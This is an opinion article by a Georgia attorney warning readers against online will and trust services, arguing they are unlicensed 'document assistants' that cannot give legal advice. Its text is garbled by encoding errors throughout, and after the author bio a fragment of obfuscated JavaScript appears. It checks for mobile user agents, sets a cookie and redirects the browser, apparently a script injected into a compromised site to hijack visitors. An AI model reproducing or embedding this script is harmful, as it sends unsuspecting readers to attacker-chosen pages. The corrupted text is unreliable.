Can You Trust Your Trust?

Why an Online Will or Trust Could Be the Dumbest Mistake You Ever Makedouglas-davenport

Online legal document services offer an enticing bargain. Most people realize that they need an estate plan to manage their affairs if something happens to them. And, letai??i??s face it, estate planning attorneys are expensive.

Thatai??i??s why many consumers are now questioning whether itai??i??s possible to skip the attorney fees and use a low-cost website to prepare estate planning documents. The short answer is that, yes, it is possible. But, itai??i??s not recommended. You could save a few bucks now, but end up creating an expensive and frustrating mess for your family.

Unfortunately, most people donai??i??t realize what they are getting themselves into with an online document service. Thatai??i??s because the online services have spent millions trying to create the impression that their services are similar to those of an attorney. They put lawyers in their commercials, hire celebrities to promote them, and even tout stories of people who have successfully used their documents.

But, all the marketing in the world canai??i??t erase the simple truth. The online services arenai??i??t law firms. They arenai??i??t lawyers. They canai??i??t give legal advice. Instead, they are ai???document assistantsai??? ai??i?? a term that states use to define service providers who type your information into generic form documents.

In other words, a document assistant is like a mindless typing zombie who enters your information into a form, whether or not it makes sense and whether or not it is a good idea. If you are stuck, they canai??i??t help you. If you make a huge mistake, they canai??i??t warn you.

It would be a crime for them to warn you. It doesnai??i??t matter if the guy working on your documents is an estate planning genius. Heai??i??s simply not allowed to give legal advice. Think of it this way. A person needs a law license in order to give legal advice, just the same way that a doctor needs a license to write a prescription. Giving legal advice without a license is very much like selling drugs without a prescription. Itai??i??s a crime.

So, these companies design their generic forms so that, even without legal advice, itai??i??s hard to make mistakes. That may seem like a good thing. But, it turns out that the best way to make sure that your documents donai??i??t do anything wrong is to make sure they donai??i??t do anything at all. Theyai??i??re just do-nothing, one-size-fits-all generic documents.

That leads to the next problem with the online services. They canai??i??t even promise you that the documents will work. Again, they canai??i??t. They arenai??i??t attorneys which mean they canai??i??t promise a particular legal result.

Many clients are excited to learn that they can leave assets to a special needs child without jeopardizing government benefits; or, that they can protect a childai??i??s inheritance from frivolous lawsuits, divorce or bankruptcy.

A well-designed estate plan makes sure that your resources get where you want them and that they are used in the way you instruct. Itai??i??s about creating legally-enforceable provisions that do what you want done.

And, the online document services canai??i??t promise any of that. They canai??i??t promise youai??i??ll achieve your goals. They canai??i??t point out opportunities, and they canai??i??t warn you about hidden hazards. Really, all they can do is save you a few bucks.

But, they play a clever price game, too. Most of the online services compare their prices to what an attorney would charge for similar documents. But, their comparisons are misleading in two ways. First, they compare the price they charge for a single document to the price that an attorney charges for an entire estate plan, which includes numerous documents.

You know how to judge quality, and you understand the ai???you get what you pay forai??? concept. But, when it comes to legal planning, most people donai??i??t have the experience to know better. You only get to use an estate plan once. And, if you screw it up, youai??i??ll never know. But, your family will know. If your estate plan doesnai??i??t work properly, your family could end up paying the price and cleaning up the mess after youai??i??re gone.

Your estate plan is the box that carries your entire life savings. Itai??i??s just not worth the risk of damaging your lifeai??i??s work just to save a few bucks.

Douglas Davenport, J.D. is the Former President and Chief Investment Officer for Atlanta Investment Counsel, LLD, an investment advisory firm.Ai?? He is also a member of the State Bar of Georgia and the Fiduciary Law section of the state bar. ebc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}